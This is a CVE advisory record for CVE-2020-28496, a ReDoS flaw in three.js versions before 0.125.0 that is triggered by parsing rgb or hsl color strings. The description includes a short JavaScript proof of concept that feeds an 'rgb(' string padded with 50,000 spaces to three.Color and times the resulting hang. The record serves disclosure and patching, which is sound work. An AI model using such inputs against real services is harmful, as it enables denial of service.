CVE-2020-28496
Summary
| CVE | CVE-2020-28496 |
|---|---|
| State | PUBLIC |
| Assigner | [email protected] |
| Source Priority | CVE Program / NVD first with legacy fallback |
| Published | 2021-02-18 15:15:00 UTC |
| Updated | 2021-02-25 17:05:00 UTC |
| Description | This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms") |
Risk And Classification
Problem Types: CWE-400
NVD Known Affected Configurations (CPE 2.3)
| Type | Vendor | Product | Version | Update | Edition | Language |
|---|---|---|---|---|---|---|
| Application | Three Project | Three | All | All | All | All |
| Application | Three Project | Three | All | All | All | All |
References
| Reference | Source | Link | Tags |
|---|---|---|---|
| Color: Fix ReDoS in setStyle by yetingli · Pull Request #21143 · mrdoob/three.js · GitHub | MISC | github.com | Patch, Third Party Advisory |
| Regular Expression Denial of Service (ReDoS) in three | Snyk | MISC | snyk.io | Exploit, Third Party Advisory |
| Regular Expression Denial of Service (ReDoS) in org.webjars.npm:three | Snyk | MISC | snyk.io | Exploit, Third Party Advisory |
| ReDoS in three · Issue #21132 · mrdoob/three.js · GitHub | MISC | github.com | Exploit, Issue Tracking, Third Party Advisory |
| CVE Program record | CVE.ORG | www.cve.org | canonical |
| NVD vulnerability detail | NVD | nvd.nist.gov | canonical, analysis |
Vendor Comments And Credit
Discovery Credit
LEGACY: Yeting Li
LEGACY: Liyuan Chen
Legacy QID Mappings
- 982932 Nodejs (npm) Security Update for three (GHSA-fq6p-x6j3-cmmq)